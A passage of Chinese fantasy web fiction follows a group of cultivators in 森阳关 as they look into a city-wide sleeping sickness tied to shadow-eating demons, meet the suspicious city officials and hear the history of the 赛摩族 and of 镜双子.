天盛微额首,唐思月在后面探头。 “我想先去一趟医馆,身上带的药材不够了,要补充一下。” 这几个月,为了几人的伤势,可是掏空了她大半的存储,竟也忘了让通神阁送一些。 云修泽思考片刻。 “阿微,你和青玉带着马车、马儿还有小妖怪先去找地方,我和行愿大哥陪着思月去医馆。” “也好,有事传音。” 而秉唯再次表达了对云修泽不喊名字的不满。 几人分头行动。 云修泽本想找人问问医馆在哪里,没想到过了条街就一眼看到了一家。 如此醒目倒不是因为有多么的特殊,而是那里正发生着一场纠纷。 一个穿着朴素,看起来比秉唯小几岁的小姑娘正跪在医馆门口苦苦哀求。 周围围了一些人,都在低声讨论着什么。 云修泽三人离得还有些距离,听不清的小姑娘在哭些什么。 只是见她拉着一个药师的袍子不断说着话,额头上带着微微渗血的红印,脸上的泪痕凌乱,看着十分凄惨。 被她拉住的药师也面露不忍,一个劲儿的想把她扶起来,无奈的说了几句话,才总算将不断抽泣的小姑娘送离。 看热闹的人群慢慢散去,云修泽一挑眉,带着唐思月和行愿走了进去。 他和唐思月对视一眼,示意让她先挑东西,于是行愿便默不作声,掏出了一份药材清单。 上面的东西大多数都是普通医馆就常备的,很容易找全,要的量又多,医馆的人见此,很快便笑开了一张脸。 几个药童忙前忙后的找着东西,云修泽便顺势和那掌柜打听起来。 “掌柜的,我们刚刚路过看见那小姑娘什么情况啊?哭的怪可怜的,莫不成,你们医死了人?” 那掌柜的吓了一跳,没见过人这么说话的,面容愠怒就要发作,可一想到这人的同伴刚刚给医馆送了诸多钱财,就硬是把这口气忍了下去,努力维持着笑容辩驳道。 “您说笑了,我们医馆的医术在整个森阳关都是数一数二的,只不过城中最近多了一种怪病,会让人无缘无故的陷入沉睡,怎么叫也叫不醒,那小姑娘的家里人得了这种病,攒钱想求我们医治,可我们也是无能为力,并不曾医死过人。” 他一拨算盘,轻哼一声。 “我劝您啊,也是尽早离去吧,省的再染上这不清不楚的病。” 病? 云修泽暗暗皱眉。 “怎么没往上报吗?” 掌柜的一撩眼皮,懒散的说道。 “怎么报?得病的人不是很多,也无法证明就会传染,更不是疫病,报什么呢?” 云修泽默然,这样的话,还真的不好说。 “我们看那小姑娘怪可怜的,您知道她家住哪儿吗?我们走的时候给她留点儿东西,也算是尽尽心意。” 掌柜的没想到他还有这种善心,一看就是没经历过什么苦难的公子哥儿,不过跟他也没什么冲突,也算是给自己行善积德,于是一努嘴,说道。 “就在城东那片,那小姑娘挺出名的,你打听打听就知道了。” 云修泽装模作样的一笑。 “多谢掌柜。” 掌柜的也皮笑肉不笑的回了个笑脸。 这时云修云传音,告知了他们落脚的地方。 三人买完了药材一起离去,天盛微他们正坐在一间房内,云修泽走进来,关上门后,神情严肃起来。 他和秉唯异口同声的说道。 “这里有问题。” 69. 曲衣十 他们的话令屋中静默了一瞬。 云修泽将刚才遇到的事说完,又正色道。 “我不知道是不是地域的问题,这里的一些人长相跟其他地方的有明显区别,眉骨更高,瞳孔是淡黄色,且肤色都较黑,都给了我一种很奇特的感觉,但又为什么只有一部分是这样?” 说着,他皱了皱眉。 “而且我从进城就开始观察,百姓中,这种长相的人里根本没有中年人,只有老人、青年和幼童,他们出现了断代。” 他身上一半的血脉来自天生灵物,对很多事情都有着超乎常人的敏感。 “小妖怪呢?你怎么回事?” 秉唯这次没有跟云修泽计较,而是面露纠结之色。 “从进城开始我就觉得很不舒服,这里似乎......有淡淡的妖气?” 妖气? 联想到刚刚守卫做出的举动,云修泽心中有了不好的预感,他的手指敲了敲杯壁,抬眼看向秉唯,忽然问道。 “你是从什么时候离开佘渊的?” 秉唯眼睛一转,笃定的说。 “大比结束后的第......三天!” 他是第一次离开佘渊,而且被下了追踪术的盒子放在云修泽那里,他这一路跌跌撞撞的追着云修泽,偶尔还绕个弯子,这才跟天盛微他们几乎同步到了康平。 若他是从那个时候就离开,那么从他出来到现在,已有将近三月之久。 这种即将被麻烦缠住的感觉让云修泽感到些许不悦。 “这里不宜久留,我们得马上离开!” 话音刚落,几人便立马察觉到有人正在接近,在这个节骨眼,他们的眼神顿时就冷了下来。 门外一共三道脚步声,其中一道来自于酒楼的小厮,他们仿若是正常拜访的访客,不急不徐的走来。 门内的几人微微调整了站位,默契的面对着房门的方向,沉默又警惕的等待着来客。 等门外的人推开房门,见到的便是这样一副如同狼群等待猎物的审视的目光。 小厮只是引路,很快便退下。 两位不请自来的访客,一位穿着文人官袍,面容儒雅,另一位的铠甲还未卸下,浓眉赤目,身高九尺,看着他们的眼神明显比另一位更加戒备。 云修泽慢慢开口。 “若我没有猜错,这便是城主大人和统领大人了吧,两位,有何贵干?” “正如公子所说,在下姓徐,徐知书,这位大人是列七锋,列大人,我二人听闻皓明郡主入城,特来拜见。” 说着,穿着官袍的徐城主一整衣袖,朝天盛微行了个礼。 一旁的列七锋眼神在他们身上来回打量,也跟着抱了个拳。 “两位大人多礼。”天盛微淡淡道。 这明显就是找的个噱头,真正的目的肯定不止如此。 徐城主笑的时候眼睛几乎眯成了一条缝,看着不甚真诚。 “按理来说,今日您几位刚刚来到,应该等几位休息好,明日再来拜访才是......” 列七锋明显不愿意跟他们在这儿打太极,不爽的哼了一声,打断了他的话,语气有些冲的说道。 “今日我等收到守卫来报,说是测妖石在几位经过时亮了亮,几位可知是什么缘故?” 说着,他的眼神便直直看向了秉唯。 第七洲的五人都是如假包换的人类,只有多出来的这个小鬼头才是变数。 秉唯的脸色白了白。 不管他的心智多么成熟,但他从小到大的认知也都是出了佘渊一旦被发现,就会面临死无葬身之地的结果,在列七锋的逼视下控制不住的后退了半步,微微战栗。 被打断的徐城主也并未生气,不知是已经习惯了还是十分乐的有个出头鸟,很自然的闭上嘴,立在一旁当起了装饰的人偶。 测妖石? 云修泽心中一动,似乎有什么被忽略的事情冒了出来。 那块亮了的石头原来是测妖石,但那个东西只能测出来较为强大的妖气,而秉唯的气息隐藏的一向很好,更何况他还谈不上强大。 这究竟是怎么回事? 云修泽侧身挡在秉唯的面前,客气的笑道。 “两位大人应该是误会了,不信可以摸摸这孩子的骨龄。” 妖族修炼的过程极其漫长,化为人形时皮相虽没什么破绽,但骨龄确实做不得假。 也幸亏秉唯半人半妖的体质,他的骨龄与寻常孩童无异,这也是他血脉融合的很好的一个重要特征。 列七锋黑着脸走上前,肩膀还撞了云修泽一下。 他并不相信秉唯是个正常的人族,因此在他看来,第七洲这几人都有着包庇的嫌疑,态度自然算不上好,若不是有郡主在,恐怕就要不由分说将他们压入大牢。 云修泽神色冷淡的瞥了他一眼。 武将的手都是宽阔有力的,他捏着秉唯的身体测算他的骨龄,力气大到让秉唯都疼到忍不住皱了皱眉。 而列七锋越摸,眉头就皱的越紧。 这的确是一个正常孩子的骨龄,找不出什么破绽。 他哗啦站起身,回到原位时,铠甲带起的凉风掠过几人的身体,表情难看,眼中的怀疑并未消退几分,但也没再针对秉唯。 “即便如此,也不能洗清几位的嫌疑,在城中事了结之前,还请几位不要离开此地。” 徐城主这时适时的站出来解释。 “郡主,几位道友,现在的是这样的,想必你们也都听说了,城中出现了一种怪病,很多人无缘无故陷入了沉睡,我们也有所调查,只怕有五成的可能性,是妖物所为。” 云修泽盯着他看了一会儿。 “妖族不得踏出佘渊,将近二十年前就是如此了。” 天盛微也说。 “我们只是路过,还有要事在身。” 徐城主拱手笑了笑。 “郡主见谅,现在情况特殊,就在刚刚,陷入昏迷的人又多了十几个,恐怕不日便会封城,我会上奏陛下,请求援手,恐怕要耽误您几位一段时日了。” 在窗户附近的云修云透过支开的窗子暗中瞥了一眼下方,发现整栋酒楼都已经被武将团团围住。 怪不得从刚才起,这里就没有了动静。 他和云修泽悄悄对视一眼,不动声色的摇了摇头。 这两位来之前显然也做足了准备,一旦他们不配合,哪怕是强留,也要将几人留下来。 云修泽面无表情的仰起头,被迫卷入了麻烦事,让他懒得再如平日一般以笑示人。 “我们可以留下,但在城中究竟待在哪里,去哪里,我相信是我们的自由。” 徐城主拦住准备说话的列七锋,十分随和的表示道。 “这是自然,不过为了几位的安全,列大人会安排一些官兵远远的跟着,还望海涵。” 说什么安全,也就是说的好听,无非就是为了监视他们的动向。 云修泽彻底失了应付他们的兴趣,无趣的撇撇嘴,不再说话。 天盛微手指了一下门口。 “我等知晓,两位请回吧。” 如此明晃晃的不耐烦和不欢迎并没有让徐城主的脸色产生变化,他礼数周全的拉着列七锋告退,列七锋在临走前还狠狠瞪了秉唯一眼,秉唯不服输的瞪回去,反而让他眼中的狠厉消散了几分。 云修泽对他们并没有什么不满,他们所有欠妥的行为也都是为了城中民众,但这个麻烦既然已经甩不掉了,就必须好好做一些准备。 “小妖怪,你先回你的房间休息吧。” 秉唯知道这是想要支开他,看了眼天盛微,见她点头,便乖巧的起身离开,将这里留给了他们五人。 等他离开后,房中沉默了片刻,云修泽的手放在嘴边,沉思道。 “你们还记得思月说的那个妖丹吗?” 他们自然是记得的,只不过当时都没什么头绪,便将这件事先抛在了脑后。 天盛微蹙眉。 “你是说?” “嗯。”云修泽神情严肃。 提前下好的追踪术,奇怪的离开佘渊的方式,进步神速的秉唯,亮了又熄灭的测妖石,重要关口里莫名其妙的病,似有若无的妖气。 这一切的一切,应该都是可以串联起来的同一件事情。 “白女狐族想干什么?” “若是做到这个地步。” 唐思月开口。 “恐怕就不是白女狐族一族之力了。” 云修泽何尝不知道,但如果真是这样,那这件事情可就真的不能以什么平和中庸的方式收场了。 天盛微抓住他无意识摩挲茶盏的手。 “明日,去那小姑娘家一探。” 云修云挠了挠头,各种复杂的线索让他烦心不已,于是干脆道。 “就是,我们在这儿下什么定论,连看还没看过呢,明天看了再说,现在先去休息。” 队伍中有这样一个心态这样好的同伴是很让人放松的,他一开口,萦绕在几人眉头的郁色就消散了几分。 “也好,明日再说,今日大家都先去休息吧。” 几人陆续离开,天盛微在离开前轻轻捧了捧云修泽的脸颊。 “没关系的,再困难的事情,你也要记得有我们一起面对,不要逃避,也不要总想着自己一个人解决。” 云修泽失笑,不知是该感慨自己被她看透,还是该将她揽入怀中。 最终他选择了后者。 第二日的阳光也并未彻底驱散笼罩在这座城里阴云,只是仿佛又蒙上了一层灰色,平白增添了几分死气。 几人如昨日掌柜所言来到了城东,在这里居住的人,家里的光景都很不好,更像是森阳的贫民窟。 云修泽几人的衣着虽算不上多么光鲜亮丽,但为了符合平日里摔摔打打,耐磨耐用的要求,用的都是很好的料子。 有很多饿肚子的小孩趴在门缝悄悄看着他们,云修云甚至能幻听到他们咽口水的声音,仿佛 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他们耐心的等了一会儿,门内才有脚步声出现。 昨天那个小姑娘扒开一条门缝警惕的从里面往外看,她的小脸上还粘着一些煤炉的灰尘,看见几个长得好看,又穿的很好的人站在外面,怯生生的说。 “几位大人有什么事吗?” 唐思月走上前弯下腰,温柔的说道。 “你好,纱衣,我们是被城主找来帮忙治病的,昨天刚刚到,正好在医馆外看见你,便想先从你这里看看,我们可以进去吗?” 她毫不气短的扯上了城主这张大旗,反正都是他将他们强留在此,脸皮被扯一扯也是无可厚非。 纱衣虽然有警惕心,但是家中实在没什么好图谋的,城主这两个字一出来就更添了几分信任,再加上唐思月长得实在是超出她认知的好看,于是迷迷糊糊的便将几人请入了家中。 她带着几人来到屋内,这里虽然修的不好,但却被收拾的很干净整洁,窄窄的床榻上躺着的,是一个十五左右的清秀少年。 纱衣难过的看着他,小声询问。 “姐姐,你能帮我救救哥哥吗?” 唐思月的眼神似乎静了静,轻声安抚道。 “你放心,我会的。” 唐思月为塌上的少年把脉,奇怪的是,他的经脉平稳,除了有些虚弱之外,并没有什么其他的症状。 瞳孔的颜色也很正常,灵力在他体内运转一周,也并未见什么堵塞。 这样看起来,好像真的只是睡着了一样,也怪不得外面的那些医馆束手无策。 在她看诊的期间,剩下的几人便不动声色的打量起了这里,对上唐思月投来的询问的目光,便轻轻点了点头。 环境也没有什么问题,并没有被人布置什么东西。 唐思月一顿,问声问道。 “纱衣,你哥哥在生病之前有发生过什么不同寻常的事吗?” 纱衣难过的摇了摇头,但过了一会儿,又突然想起了什么,带着点儿期望说道。 “哥哥他,他之前去了城外!城外左侧有一片山,哥哥常去那里采药材!” 城外。 云修泽默默记下,之后还要去问一下徐城主他们其余的患者是否也有过相同的经历。 唐思月轻轻拉过纱衣。 “纱衣,你哥哥现在没有什么大碍,只是睡着了,之后大家一定会找到叫醒他们的办法,你先不要着急,照顾好自己好不好?” 纱衣一瘪嘴,难过的扑在少年身上。 “姐姐,哥哥是不是醒不了了?” 这样的话在她听来,就像是已经药石罔医,再没有救活的可能了。 唐思月眼神闪烁,神色莫名。 云修云左右看了看,试图开个玩笑,缓和一下小姑娘的情绪。 “没事儿的,没事儿的,男孩儿有的时候为了吸引小姑娘的注意力,会故意吓唬她的,万一哪一天你亲他一口,他就啪的睁开眼睛了呢!” 纱衣并没有回话,反而扭头在小少年的衣物上蹭了蹭眼泪。 唐思月站起身,面露不悦。 “你为什么要说这种话?无数日夜的沉默,只怕是再荒唐的方法都试过了,你既然不懂她的无能为力,就不要开这种玩笑!” 说罢,她就冷着脸推门而出,行愿拍拍云修云的肩膀,默默跟了上去。 这是她第一次对同伴生气,平日里温温柔柔的人,一旦发起脾气来,往往就比旁人更加让人无措。 云修云就是如此,他也后知后觉的察觉到了自己玩笑开的并不合时宜,他扭头去看云修泽,云修泽示意让他自己解决,最好是赶紧追上去解释。 于是云修云认真向纱衣道了歉,在确认她真的不在意后,就赶紧转身追了出去。 云修泽和天盛微相视一笑。 倒也未必是什么坏事。 70. 曲衣十一 今天来这里的就他们五人,此时唐思月三人离开,房中除了纱衣和沉睡的小少年,就只剩了云修泽和天盛微。 就像是秉唯能感到妖气一样,云修泽也在这里感受到了淡淡的违和。 如此说来,妖物作怪的可能又增多了一些。 已经看过,两人便无意久留,光正透过窗子直照进来,他们一动,影子就跟着挪动。 云修泽的眼神忽然一凝,直直的看着躺在床上的少年。 纱衣似乎是被他的眼神吓到了,无助的瑟缩了两下。 天盛微见此,很快拉着他离开了那里。 “怎么了?” 云修泽看着自己的影子,语气平静。 “那个孩子的影子,已经淡到可以忽略不计了。” 天盛微一愣,也低头看了看自己的影子。 影子是三魂七魄中的一魂,影子消失,人便很难再醒过来了,即使醒来,恐怕也会变得痴傻。 云修泽挑眉,笑的有点奇怪,说不上来是惊奇,是失望还是兴奋什么的。 “这是雾面影的手笔。” 雾面影有一种能力,可以在睡梦中缓慢吞噬人的影子,只不过过程较为漫长,这才没在大比之上让他们见识到。 天盛微静默,在日复一日的蚕食下,人的灵魂变得越来越虚弱,所以才会陷入无尽的沉睡吗? 天色阴沉,仿佛下一刻便会降下连绵的阴雨,偶尔吹来的寒风更像是风雨欲来的征兆,战栗之感蔓延到云修泽的四肢,让他的瞳孔有了片刻的紧缩。 “走,回去等秉唯。” 他们离开前,让秉唯在城中调查究竟有多少人染上了这个‘怪病’,他们又有多少个相同之处。 云修泽心中有了成算,但还需要确定一下,才能继续下去。 两人往回走,路上,天盛微忽然扯了扯云修泽的衣袖,云修泽挑眉询问,天盛微便不动声色的示意他看路边茶肆的几名壮汉。 “那是官兵。” 她低声说道。 虽然他们都穿的和普通百姓无异,但是无论是健壮的体魄还是偶尔打量来往路人的犀利眼神,都能证明他们并不是普通人,更何况他们偶尔抬手间,衣袖里露出的官制的匕首。 云修泽和天盛微拐进一个不起眼的巷子,仔细观察后,才发现街道上有很多乔装成普通百姓的官兵,脱去了官服,就像是已经到了特殊时期,为了安抚民心,开始变相的戒备巡逻。 云修泽目光晦涩不明,阴冷的天色仿佛化为了实质,沉沉的压在他的心头。 显然,身为普通人族的徐列二人也都已经意识到了事情的严重性。 “我想再去一次城门。” 天盛微缓缓额首,虽然惯例上没什么表情,却可以感到她此刻沉重的心情。 两人甩开了跟在身后的官兵,一路抄近道,很快便到了城门。 城门不知何时已经关闭,穿着重甲的官兵分批次严密的巡看,有很多上前询问想要出城的百姓都被劝了回来。 城门关闭一般要提前贴出告示,提醒百姓提前做好准备,现在却无声无息的闭合,高耸沉重的城门,就像是他们为了防备什么而划出的天堑。 两人看了一会儿,正准备离开,那紧闭的城门却突然被打开。 云修泽动作一顿,目光迅速凝神,带着探究看向那里。 从外面进来的是一车货物,鼓鼓囊囊的,被盖着粗布,看不出究竟是什么。 车夫看上去也再普通不过,停下与官兵谈笑两句就驾车往城中驶去,城门在他过后就马上重新关闭。 天盛微将手在嘴边摊开,轻轻一吹,带着灵力的风就宛如拥有自主意识一般向着那车货物吹去。 风将上面覆盖的粗布鼓吹,不过片刻就平静了下去,那车夫被突如其来的风吹迷了眼,含糊的抱怨两声,也没放在心上。 虽然只有片刻,但却足以让两人看清下面的东西。 那是一车矿石。 云修泽面露思索,森阳关产出的矿石十分有名,这里的百姓也是靠着矿石营生。 但是现在这种任何人不得进出的情况,关口还会轻易放一车矿石入城吗? 云修泽不信徐知书会如此不知轻重。 他们本想追上去看看,但是余光却发现了之前跟在他们身后的官兵已经来到了附近,未免打草惊蛇,两人最后还是没有跟上去。 秉唯作为列七锋最怀疑的人,自己在城中行动,无疑被盯得很死,云修泽让他出来查探也能料到这一点,但让他们知道其实也没什么。 只是秉唯被跟着的人搞得有点不耐烦,他无趣的坐在石阶上,眼睛下意识的盯着对面人家的鸡棚,忽然滴溜溜一转,动了逗弄逗弄他们的小心思。 说干就干,他突然起身,拐了几个弯就消失在了那些官兵的视线里,动作麻利地找了个墙头扒上去,恶趣味的看着下面的人焦急的寻找。 看了好一会儿,眼见着他们找不到狐狸就要回去上报让人来抓他,秉唯就又施施然出现,仿佛从没离开过一样,如此反复,把那一群人溜得够呛,才算泄了愤。 几条街之外,云修云亦步亦趋的跟着唐思月,已经道过歉但还没得到原谅的他不知道怎么做才能让她重新高兴起来,于是只能闷头跟着,像个害怕被主人丢弃的小狗一样,狗狗祟祟的,不时歪头去观察她的神色。 唐思月在前面走,行愿隐去了身形,她的余光能偶尔看到云修云在后面探头探脑的可怜模样,已经消了几分的气很快就彻底不见了,心中只剩下了掺杂着无奈的悲伤。 她停下脚步,明明身在人潮涌动的大街上,明明身后跟着云修云和行愿,却仍然像是独自一人。 强烈的孤独感围绕着她,压抑的气息,让平静的她看上去好像摇摇欲坠,似乎在下一个瞬间就会将她彻底击垮。 云修云看着她静默的背影,突然也感觉到了一种难以言喻的痛苦,这时他才真正意识到,自己刚刚那没过脑子的话,究竟给她,给纱衣带来了怎样的伤害。 “我......” 云修云喉咙梗塞,尝试了半天,也说不出什么。 突然,他上前抓住唐思月的手腕,带着诧异的她不管不顾的奔跑起来。 被惊扰的路人用奇怪的目光看着他们,而风随着两人的步伐掠过他们的脸颊,扬起了长发。 唐思月的声音被呜咽的风抹去,这突然的行为,让她一时忘却了刚才的伤感。 两人在一处废弃的木楼前停了下来,茂盛的草木几乎将它变了个样子,有种自然和人迹彼此吞噬融合的奇怪感觉。 这里少有人知,几乎已经到了森阳的最边缘。 云修云带着唐思月一通乱跑,机缘巧合来到这里,倒也还算符合他的心意。 唐思月似乎微微有些气喘,但很快就缓和过来,奇怪的看着他。 她被拉出了那热闹的人群,那种特殊的感觉好像也随之消散的无影无踪。 “这是怎么了?” 云修云露出局促的表情,挠着头,有些焦躁的来回走了两步,最终小心地拉着她在一个大石头上坐了下来。 “思月,你和你家里人关系很好很好吗?” 唐思月一顿。 “自然。” 云修云没敢看她,抹了一把脸,颇有些垂头丧气。 “对不起,思月,我不该说那样的话。” 唐思月安静了一会儿,温和的说道。 “你明白就好,那样的话,对于失去家人的人来说,无疑就是一种打击,你和老大关系那么好,之前他遇到危险,你也应该了解那种感觉。” 云修云失笑:“关系好啊......” 见唐思月投来疑惑的目光,他抬头吸了一口气,眼睛转了转,脸上带着明媚的笑容。 “你知道吗?其实大哥小时候特别讨厌我。” 唐思月露出惊讶的表情,还没等她说什么,他就接着说道。 “我其实也有一点讨厌他。” 他把食指和大拇指捏起来,中间大概只有半个指节的空隙,举在两人中间,借此来强调着他说的话的可信度。 唐思月见他皱着鼻子笑道。 “就一点点,我还是很爱他的。” 始终存在于他身上的那股鲜活劲儿罕见的消失在了此刻,他有些害羞,也很不熟练的向她袒露着心事。 “我是家中次子,也不像大哥一样继承了母亲特殊的血脉,自我懂事起,就明白了周围人并没有对我寄予多么大的期望,似乎我只要好好的长大,其余的是好是坏都没有那么大的所谓。” 他托着下巴,表情平静的看着远方的天际。 “可大哥不一样,他是人们口中的骄子,他聪明、坚韧、沉稳、有天赋也肯吃苦,简直就是完美的继承人,也是我无论如何也追赶不上的对象。” 他像是想到了什么好笑的事,咧着嘴笑起来。 “我那时候傻傻的,总想干点什么来证明他也有错的时候,但基本都是我在闹笑话,那些事,现在想想,还真是傻的有够可爱。” 唐思月冷着脸扯过他的脸颊。 “笑的丑死了。” 云修云被她扯的倾过身子,咧着嘴无辜的眨了眨眼。 唐思月神情复杂的放过他的脸颊,转而轻轻抚摸着他的头发。 云修云平日里没心没肺的,他们也都习惯了他偶尔耍宝然后被云修泽嫌弃的敲敲头,无论哪次,他看上去都没有放在心上,总是笑嘻嘻的,可谁知竟还藏了这样的心事。 云修云坐在那里,脸颊不受控制的飘红,眼睛也垂着,即使害羞,也坐的一动不动任她抚摸。 半晌,他小声说道。 “这话我就跟你一个人说过,你可别告诉别人。” 唐思月总是很温柔。 “你放心,这是我们两个的秘密。” 云修云眼睛亮亮的看着她。 “嗯!” 因为离他们不远所以听了个十之八九的行愿默默往后退了一段距离。 五人一妖,最晚回到酒楼的就是秉唯,等他到了,云修泽就动手设了个隔音结界。 “查的怎么样?” 秉唯有些忧虑,他也感受到了事情的严重。 “得病的人身上都有妖气,很淡,但我同样是妖所以能感受到,而且他们大多数都是长得黑黑的青壮年。” 都是肤色有异的人...... 云修泽搭在杯沿上的手指有一搭没一搭的轻叩着,思考片刻,问道。 “还有什么奇怪的吗?” 秉唯收着下巴摇了摇头。 “我们去找徐城主 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天盛微看着他将秉唯放到床榻上,莫名的为此感到动容。 云修泽安置好秉唯,拍拍手,刚一转身就看到了天盛微专注的目光,他迟疑的一顿,开始怀疑刚刚是不是发生了什么他没注意到的事。 两人的距离拉近,天盛微捧着他的脸颊,踮脚在他的唇角上印下了轻轻一吻。 云修泽的脸被这突然的袭击搞得瞬间红透,他捂着刚刚被亲的嘴角狼狈的后退几步,脑海中空荡荡的,还不知道究竟发生了什么,只是怀疑自己的心跳声大的能让屋中所有的人听清。 云修云起哄的吹了个口哨,唐思月被这突如其来的狗粮喂的满脸无语,行愿隔着面具捂住了眼睛,还试图去捂唐思月,但被无情推开。 天盛微眼波流转间露出些微微的笑意。 “走吧。” 云修泽听到她的话,脑子还没反应过来,嘴上就先应了一声,见她转身离开,就不受控制的,有些僵硬的跟了上去。 剩下的三人面面相觑,云修云摸着下巴,可惜的说道。 “你们说我怎么就没有准备留影石呢?” * 他们的动向会被跟着他们的人一一汇报上去,此时眼见他们朝着城主府去,自然会先一步前去通报。 果不其然,等他们到的时候,徐城主就已经在外面等着他们了,他的脸上带一成不变的笑容。 “郡主,几位道友,可是有什么吩咐吗?” 云修泽此时已经恢复过来,伸手一指府内,笑道。 “吩咐谈不上,我们进去说吧。” 徐城主看了一眼天盛微。 看来这几个人都很认同云修泽这个领队,在凡人地界,作为郡主的天盛微竟也以他为先,无论是上一次还是这一次,都没有作为主事人出来和他对过话。 他不动声色的收回眼神,侧身让开了路。 “这是自然,几位里面请。” 众人移步到了议事堂落座,云修泽的眼神在几名守卫上扫过一圈,还没等开口说话,徐城主便抬手让几人都离开了这里。 云修泽:“怎么?今日列统领不在吗?” 徐城主笑道。 “列统领去练兵了,可需要我将他叫回来吗?” “不妨碍统领公务,徐城主在,便也是一样的。” 徐城主等着他的后话。 “徐城主是因何觉得此病是妖物所为?” 徐城主语言流畅。 “他们的身体完全没有异样,就像真的只是在睡觉一样,用何种方式都无法将其唤醒,且几乎只针对特定的百姓,再加上之前路过的修士曾言,在城中感受到了微妙的气息,种种相加,自然便会联想到妖物。” 这里没有上茶,云修泽就只摩挲了下手指,听完他的话,便眯起了眼。 “恐怕还有些别的原因吧,此地距离佘渊,快马加鞭也足有十几日的路程,妖物出没,也应该选择距离较近的城镇,更何况他们自从被镇压后就再也没有离开佘渊,徐城主,对于这个妖物作祟的说法是否接受的太理所当然了呢?” 见他不语,云修泽接着说道。 “而且妖物为何只针对肤色有异的百姓?他们中间出现了断代,可是有什么渊源吗?” 他的语气不疾不徐,看着徐城主的眼神透露着探究,笃定的语气,仿佛问的是已经得到答案的问题。 听他这么问,徐城主反而露出了些惊讶的神色。 “云道友竟然不知吗?” 云修泽因为这出乎意料的问题皱了皱眉。 “还请徐城主细说。” 徐城主捋了捋胡须,眯着眼睛,似乎回想到了什么。 “森阳城是在十几年前才成为森阳关,那时动荡的时局,孕育出了很多天之骄子,几位参加白界大比夺得了魁首,想必也拿到了镜双子的地图残篇。” 云修泽心中一动。 “哦?看来森阳关与镜双子也有些渊源?” 徐城主哈哈一笑,眼中隐含了一些傲然。 “泼天掩日,立而却邪,那两把举世闻名的名剑,剑名,便出自我们森阳。” 71. 曲衣十二 云修泽脸上带笑,眼中却一片冷然。 又是镜双子。 这种‘巧合’真是如影随形,再加上柳恒舜的遭遇,云修泽哪里还不明白这根本就不是什么所谓的巧合呢? 他们绝对是被盯上了。 云修泽压抑着胸膛的起伏,此时,他感到的不是恐慌,而是愤怒,还有和强者针锋相对带来的血液的沸腾。 他的手僵硬的蜷缩,因为兴奋而开始微微发抖。 天盛微将手搭上去,很快,他就冷静了下来,回头拍了拍她的手背。 徐城主的目光落在他们交叠的手上,心中暗暗惊讶他们的关系,却没有显露在表面上,毕竟他们是何关系,还由不得他一个城主来置喙。 “我们五人都不太了解此事,还要劳烦徐城主为我等解惑。” 此事非常出名,但也不能说定就是天下皆知,徐城主只当他们专注自身修炼,未曾闻窗外之事,毕竟大比魁首不是什么人都能当的。 “此事,还要从玄武年间说起。” 赛木族是一支历史悠久的特殊的少数民族,他们信仰雷云,认为那是与天地沟通的话语,在他们的语言中,赛木便是天雷的意思。 他们四处追逐着雷云,从不愿在某处定居。 后来他们追逐着雷云到了一座鲜有人至的深山,忽然之间,便开始风雨交加,电闪雷鸣。 泛着白光的惊雷将那一处天地照亮,接连不断的劈在山顶,一声声炸响在他们的耳边。 而那片惊雷中,便诞生了世间第一种天地灵物——玉鸣鸟。 玉鸣鸟诞生于风雷之间,天生便拥有掌控天气变化的能力,对于风雷的运用更是得心应手。 后来,塞木族便从追着雷云跑变成了追着玉鸣鸟跑。 不知是什么原因,最后他们竟然走在一起,孕育出了如今的塞摩族,玉鸣鸟也随之消失。 赛摩族继承了玉鸣鸟的能力和塞木族的习性,同样不愿定居,直到玄武年间,各地战乱不休,他们被迫停留,居住地便选在了曾经雾面影的领地,森阳城。 玄武帝在早年间是一位英明、有魄力且十分强势的帝王。 那时,各地分封而治,都在他的掌控之下,若他一直如此,倒也可以开创一个流传千古的盛世。 可惜,玄武最末的那几年,他开始疯狂追求长生,在政事上,也因听信妖道之言开始变得昏聩暴虐。 自此中央权威下降,各地拥兵自重,军事,开始失衡。 人族一乱,妖族便开始狂欢,他们行事肆意妄为,残害了不少无辜百姓,人族修士开始介入。 赛摩族到了他们这一代,所拥有的能力已经越来越弱,往往需要全族合力才能使天象变动。 森阳城内的普通人族因为雾面影的压迫越来越难以存活,赛摩族选在这里定居,便和人族修士联手开始驱逐雾面影。 镜双子便是那时来到了森阳城。 雾面影成千上百年的生活在这里,所拥有的根基已经庞大到基本不可能被撼动。 镜双子一开始并未参与其中,而是站在中立的立场,看好戏一般坐视他们争斗不休,后来,战局陷入了僵化,两方都是死伤惨重,雾面影开始倾全族之力绝地反扑。 那时的赛摩族,在猝不及防之下,就面临了灭族之灾。 好在镜双子不知为何开始出手,保住了赛摩族的老弱妇孺,只不过没能护住他们族中的青壮年,那些青壮年在那一战中全部死绝。 雾面影已经陷入了癫狂的状态,影子密密麻麻,宛若连片的潮水,疯狂的向他们涌来。 守在那里的官兵和修士心中胆寒,但没有一人退却,因为立于万万人之前,还有两个如火的身影。 镜双子带领着他们,硬生生杀出了一条血路。 斜月的剑以一化万千,浮于空中,便遮天蔽日。 瑶情的剑立于身前,就像是深不见底的鸿沟,妖族退而不及。 此战过后,人们口口相传,便有了掩日与却邪之名。 在徐城主讲述的过程中,几人都十分冷静,只有云修云会随着他的话做出不同的反应,显然被这个故事所吸引。 青壮年全部死绝......原来这就是他们出现断代的原因...... 云修泽垂着眼,心中无数的思绪滑过。 若这原本就是雾面影的领地,那城中现在出现这种状况,他们会怀疑到雾面影身上也是理所当然,不过赛摩族竟然可以控制天象,倒是出乎他的意料。 云修泽忽然想起了大比之时雾面影短暂影响了天象的事,这其中又有什么联系吗? 徐城主体贴的留出了让他们思考的时间,自己在一旁不急不徐的喝着茶。 “您是此处城主,又对此事如此了然,不知您有没有见过镜双子?” 徐城主放下茶盏,语气十分轻松。 “我倒是想,只不过很可惜没有那个荣幸,我是前几年才来到此处任职,列大人也只比我早个两年,见过镜双子的老大人已经于前年驾鹤西去了。” 云修泽暗中蹙眉,至今为止,他们还未曾遇到一个明确见过他们的人,明明那俩人名满天下,在此事上,他们却好像被百般阻挠。 “那赛摩族呢?” 天盛微开口。 “镜双子既然救了他们,那他们中肯定有人见过。” 的确如此,云修泽目光投向徐城主,可谁知这次他竟然还是摇了摇头。 “我明白诸位的意思,但是赛摩族其实在某种意义上,是看不见东西的。” “看不见?”云修云表情奇怪。 云修泽想起他们淡黄色犹如琉璃透亮的眼睛,很难相信他们看不见,于是他的重点放在了另一个地方。 “某种意义上?” “他们体内天地灵物的血脉虽然已经十分稀少,但总归是有特殊之处,就像他们的眼睛,他们可以看到我们看不到的灵气妖气,这些归属于万物法则之内的东西,可以看到我们的经脉丹田,可以看到妖族的妖丹,但却无法看见普通的模样衣饰,诸如此类。” 